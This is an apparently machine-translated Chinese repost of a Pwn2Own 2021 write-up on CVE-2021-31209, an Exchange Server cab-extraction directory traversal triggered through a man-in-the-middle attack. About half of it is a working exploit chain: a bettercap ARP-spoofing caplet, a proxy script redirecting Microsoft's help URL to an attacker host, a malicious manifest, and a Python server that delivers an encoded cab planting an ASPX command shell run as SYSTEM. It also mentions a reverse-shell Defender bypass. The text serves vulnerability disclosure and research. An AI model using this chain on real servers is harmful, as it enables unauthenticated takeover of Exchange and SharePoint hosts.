开卷有益 · 不求甚解
前言
2020 年 11 月中旬,我在 Microsoft Exchange Server 中发现了一个逻辑远程代码执行漏洞,该漏洞有一个奇怪的转折——它需要在触发之前进行中间人劫持(MiTM) 攻击。我发现这个错误是因为我正在寻找调用 以WebClient.DownloadFile
希望发现服务器端请求伪造漏洞,因为在Exchange服务器内的某些环境中,这种类型的漏洞可能会产生巨大影响。后来,我发现SharePoint Server也受到相同的代码的影响。
这篇文章是我在 Pwn2Own Vancouver 2021 上使用的漏洞的快速分解,部分赢得了 Microsoft Exchange Server 的参赛资格。
漏洞摘要
当管理用户在 Exchange 命令行管理程序中运行Update-ExchangeHelp
orUpdate-ExchangeHelp -Force
命令时,处于特权网络位置的未经身份验证的攻击者(例如 MiTM 攻击)可以触发远程代码执行漏洞。
漏洞分析
在Microsoft.Exchange.Management.dll
文件内部Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand
定义了类:
protected override void InternalProcessRecord()
{
TaskLogger.LogEnter();
UpdatableExchangeHelpSystemException ex = null;
try
{
ex = this.helpUpdater.UpdateHelp(); // 1
}
//...
在*[1] 处*,代码调用该HelpUpdater.UpdateHelp
方法。在Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater
类内部,我们看到:
internal UpdatableExchangeHelpSystemException UpdateHelp()
{
double num = 90.0;
UpdatableExchangeHelpSystemException result = null;
this.ProgressNumerator = 0.0;
if (this.Cmdlet.Force || this.DownloadThrottleExpired())
{
try
{
this.UpdateProgress(UpdatePhase.Checking, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
string path = this.LocalTempBase + "UpdateHelp.$$$\";
this.CleanDirectory(path);
this.EnsureDirectory(path);
HelpDownloader helpDownloader = new HelpDownloader(this);
helpDownloader.DownloadManifest(); // 2
此函数执行一些操作。第一个是在*[2]*时DownloadManifest
被调用。让我们来看看Microsoft.Exchange.Management.UpdatableHelp.HelpDownloader.DownloadManifest
:
internal void DownloadManifest()
{
string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);
if (!this.helpUpdater.Cmdlet.Abort)
{
this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted)); // 3
}
}
在*[3] 处*,代码AsyncDownloadFile
使用ManifestUrl
. 在ManifestUrl
当设置LoadConfiguration
方法是从所谓的InternalValidate
:
protected override void InternalValidate()
{
TaskLogger.LogEnter();
UpdatableExchangeHelpSystemException ex = null;
try
{
this.helpUpdater.LoadConfiguration(); // 4
}
internal void LoadConfiguration()
{
//...
RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp");
if (registryKey3 == null)
{
registryKey3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp");
}
if (registryKey3 != null)
{
try
{
this.ManifestUrl = registryKey3.GetValue("ManifestUrl", "http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString(); // 5
在*[4] 处*,代码LoadConfiguration
在验证 cmdlet 的参数期间调用。这台ManifestUrl
以http://go.microsoft.com/fwlink/p/?LinkId=287244
如果注册表配置单元不存在:HKLMSOFTWAREMicrosoftExchangeServerv15UpdateExchangeHelp
在*[5]* 。默认情况下,它不会,因此值始终为http://go.microsoft.com/fwlink/p/?LinkId=287244
。
返回AsyncDownloadFile
在*[3]*这种方法将使用WebClient.DownloadFileAsync
API下载文件到文件系统。由于我们无法控制本地文件路径,所以这里没有漏洞。稍后UpdateHelp
,我们看到以下代码:
//...
if (!this.Cmdlet.Abort)
{
UpdatableHelpVersionRange updatableHelpVersionRange = helpDownloader.SearchManifestForApplicableUpdates(this.CurrentHelpVersion, this.CurrentHelpRevision); // 6
if (updatableHelpVersionRange != null)
{
double num2 = 20.0;
this.ProgressNumerator = 10.0;
this.UpdateProgress(UpdatePhase.Downloading, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);
if (array.Length != 0) // 7
{
this.Cmdlet.WriteVerbose(UpdatableHelpStrings.UpdateApplyingRevision(updatableHelpVersionRange.HelpRevision, string.Join(", ", array)));
helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl); // 8
if (this.Cmdlet.Abort)
{
return result;
}
this.ProgressNumerator += num2;
this.UpdateProgress(UpdatePhase.Extracting, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
HelpInstaller helpInstaller = new HelpInstaller(this, array, num);
helpInstaller.ExtractToTemp(); // 9
//...
这里有很多东西要打开(请原谅双关语)。在*[6] 处*,代码在下载的清单文件中搜索特定版本或版本范围,并确保 Exchange 服务器的版本在该范围内。该检查还确保新修订号高于当前修订号。如果满足这些要求,则代码继续进行到*[7],在那里检查文化。由于我的目标是英语语言包,因此我将其设置为en
以便以后可以构建有效路径。然后,在[8]*的CabinetUrl
被下载和存储。这是在 xml 清单文件中指定的 .cab 文件。
最后在*[9]*中,使用以下Microsoft.Exchange.Management.UpdatableHelp.HelpInstaller.ExtractToTemp
方法提取 cab 文件:
internal int ExtractToTemp()
{
this.filesAffected = 0;
this.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
this.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
bool embedded = false;
string filter = "";
int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded); // 10
this.cabinetFiles = new Dictionary<string, List<string>>();
this.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);
this.filesAffected = result;
return result;
}
在 [10] 处,代码调用Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles
来自Microsoft.Exchange.CabUtility.dll
包含本机代码的混合模式程序集,以使用导出的函数提取 cab 文件ExtractCab
。不幸的是,这个解析器在提取之前没有注册回调函数来验证文件不包含目录遍历。这允许我将任意文件写入任意位置。
漏洞利用开发
文件写入漏洞并不一定意味着远程代码执行,但在 Web 应用程序的上下文中,它经常这样做。我在 Pwn2Own 上提出的攻击写入了该C:/inetpub/wwwroot/aspnet_client
目录,这允许我向 shell 发出 http 请求,以在没有身份验证的情况下以 SYSTEM 身份执行任意代码。
让我们回顾一下设置,以便我们可以可视化攻击。
设置
第一步将要求您对目标系统执行 ARP 欺骗。对于这个阶段,我选择使用bettercap,它允许您定义可以自动执行的 caplets。我想我上一次进行有针对性的 MiTM 攻击是在大约12年前!这是我的poc.cap
文件的内容,它设置了 ARP 欺骗和代理脚本来拦截和响应特定的 http 请求:
set http.proxy.script poc.js
http.proxy on
set arp.spoof.targets 192.168.0.142
events.stream off
arp.spoof on
该poc.js
文件是我编写的代理脚本,用于拦截目标请求并将其重定向到攻击者托管的配置文件http://192.168.0.56:8000/poc.xml
.
function onLoad() {
log_info("Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability")
log_info("Found by Steven Seeley of Source Incite")
}
function onRequest(req, res) {
log_info("(+) triggering mitm");
var uri = req.Scheme + "://" +req.Hostname + req.Path + "?" + req.Query;
if (uri === "http://go.microsoft.com/fwlink/p/?LinkId=287244"){
res.Status = 302;
res.SetHeader("Location", "http://192.168.0.56:8000/poc.xml");
}
}
此poc.xml
清单文件包含CabinetUrl
托管恶意 cab 文件以及Version
更新针对的范围:
<ExchangeHelpInfo>
<HelpVersions>
<HelpVersion>
<Version>15.2.1.1-15.2.999.9</Version>
<Revision>1</Revision>
<CulturesUpdated>en</CulturesUpdated>
<CabinetUrl>http://192.168.0.56:8000/poc.cab</CabinetUrl>
</HelpVersion>
</HelpVersions>
</ExchangeHelpInfo>
我将清单和poc.cab
文件传送过程打包到一个小的 python http 服务器中,poc.py
它也将尝试使用poc.aspx
作为 SYSTEM 执行的命令访问文件:
import sys
import base64
import urllib3
import requests
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class CabRequestHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
return
def do_GET(self):
if self.path.endswith("poc.xml"):
print("(+) delivering xml file...")
xml = """<ExchangeHelpInfo>
<HelpVersions>
<HelpVersion>
<Version>15.2.1.1-15.2.999.9</Version>
<Revision>%s</Revision>
<CulturesUpdated>en</CulturesUpdated>
<CabinetUrl>http://%s:8000/poc.cab</CabinetUrl>
</HelpVersion>
</HelpVersions>
</ExchangeHelpInfo>""" % (r, s)
self.send_response(200)
self.send_header('Content-Type', 'application/xml')
self.send_header("Content-Length", len(xml))
self.end_headers()
self.wfile.write(str.encode(xml))
elif self.path.endswith("poc.cab"):
print("(+) delivering cab file...")
# created like: makecab /d "CabinetName1=poc.cab" /f files.txt
# files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"
# poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%>
stage_2 = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA"
stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290"
stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM"
stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA=="
p = base64.b64decode(stage_2.encode('utf-8'))
self.send_response(200)
self.send_header('Content-Type', 'application/x-cab')
self.send_header("Content-Length", len(p))
self.end_headers()
self.wfile.write(p)
return
if __name__ == '__main__':
if len(sys.argv) != 5:
print("(+) usage: %s <target> <connectback> <revision> <cmd>" % sys.argv[0])
print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0])
print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 "whoami > c:/poc.txt"" % sys.argv[0])
sys.exit(-1)
t = sys.argv[1]
s = sys.argv[2]
port = 8000
r = sys.argv[3]
c = sys.argv[4]
print("(+) server bound to port %d" % port)
print("(+) targeting: %s using cmd: %s" % (t, c))
httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler)
handlerthr = Thread(target=httpd.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
p = { "c" : "/c %s" % c }
try:
while 1:
req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False)
if req.status_code == 200:
break
print("(+) executed %s as SYSTEM!" % c)
except KeyboardInterrupt:
pass
在每次攻击尝试时,都Revision
需要增加数字,因为代码会将值写入注册表,并且在下载清单文件后,将Revision
在继续下载和提取 cab 文件之前验证文件包含更高的数字。
绕过 Windows Defender
执行mspaint
很酷,但对于 Pwn2Own 我们需要一个 Defender 绕过pop thy shell
. 在Orange Tsai放弃了他的ProxyLogin漏洞利用细节之后,微软决定尝试检测 asp.net web shell。因此,我采用了与 Orange 不同的方法,编译了一个自定义二进制文件,该二进制文件执行了一个反向 shell 并将其放到磁盘上,最后绕过 Defender。
示例攻击
我们首先使用poc.cap
caplet 文件运行 Bettercap :
[email protected]:~/poc-exchange$ sudo bettercap -caplet poc.cap
bettercap v2.28 (built for linux amd64 with go1.13.12) [type 'help' for a list of commands]
[12:23:13] [sys.log] [inf] Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability
[12:23:13] [sys.log] [inf] Found by Steven Seeley of Source Incite
[12:23:13] [sys.log] [inf] http.proxy enabling forwarding.
[12:23:13] [sys.log] [inf] http.proxy started on 192.168.0.56:8080 (sslstrip disabled)
现在我们 ping 目标(更新目标缓存的 Arp 表)并运行poc.py
并等待管理用户运行Update-ExchangeHelp
或Update-ExchangeHelp -Force
在 Exchange 管理控制台 (EMC) 中运行(-Force
如果Update-ExchangeHelp
命令在过去 24 小时内运行过,则需要):
[email protected]:~/poc-exchange$ ./poc.py
(+) usage: ./poc.py <target> <connectback> <revision> <cmd>
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 "whoami > c:/poc.txt"
[email protected]:~/poc-exchange$ ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) server bound to port 8000
(+) targeting: 192.168.0.142 using cmd: mspaint
(+) delivering xml file...
(+) delivering cab file...
(+) executed mspaint as SYSTEM!
结论
这不是第一次在 Pwn2Own 上使用 MiTM 攻击,很高兴找到一个与比赛中其他研究人员没有冲突的漏洞。这只有通过在Exchange Server
中找到新的攻击面来猎取漏洞才能实现。逻辑漏洞总是很有趣,因为它几乎总是意味着被利用,而这些相同的问题很难用传统的自动化工具发现。有人认为,所有网络漏洞实际上都是合乎逻辑的。即使是基于 Web 的注入漏洞,因为它们不需要操作内存,并且可以临时重复攻击。
这个漏洞对Exchange
服务器的影响相当大,因为EMC
通过PS-Remoting
连接到IIS
服务,而IIS服务
被配置为SYSTEM
运行。而SharePoint服务器则不然,SharePoint Management Shell(SMS)直接受到影响,在用户运行SMS时实现代码执行。
Microsoft 将此问题修补为CVE-2021-31209,如果您尚未部署该补丁,我们建议您立即部署。
参考
-
https://www.zerodayinitiative.com/advisories/ZDI-21-615/ -
https://www.zerodayinitiative.com/advisories/ZDI-21-826/
译文申明
-
文章来源为 近期阅读文章
,质量尚可的,大部分较新,但也可能有老文章。 -
开卷有益,不求甚解
,不需面面俱到,能学到一个小技巧就赚了。 -
译文仅供参考
,具体内容表达以及含义,以原文为准
(译文来自自动翻译) -
如英文不错的, 尽量阅读原文
。(点击原文跳转) -
每日早读
基本自动化发布( 3-7天定期删除),这是一项测试
最新动态 Follow Me
微信/微博:
red4blue
公众号/知乎:
blueteams
本文始发于微信公众号(甲方安全建设):译文 | Pwn2Own 温哥华 2021 :: Microsoft Exchange Server 远程代码执行
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论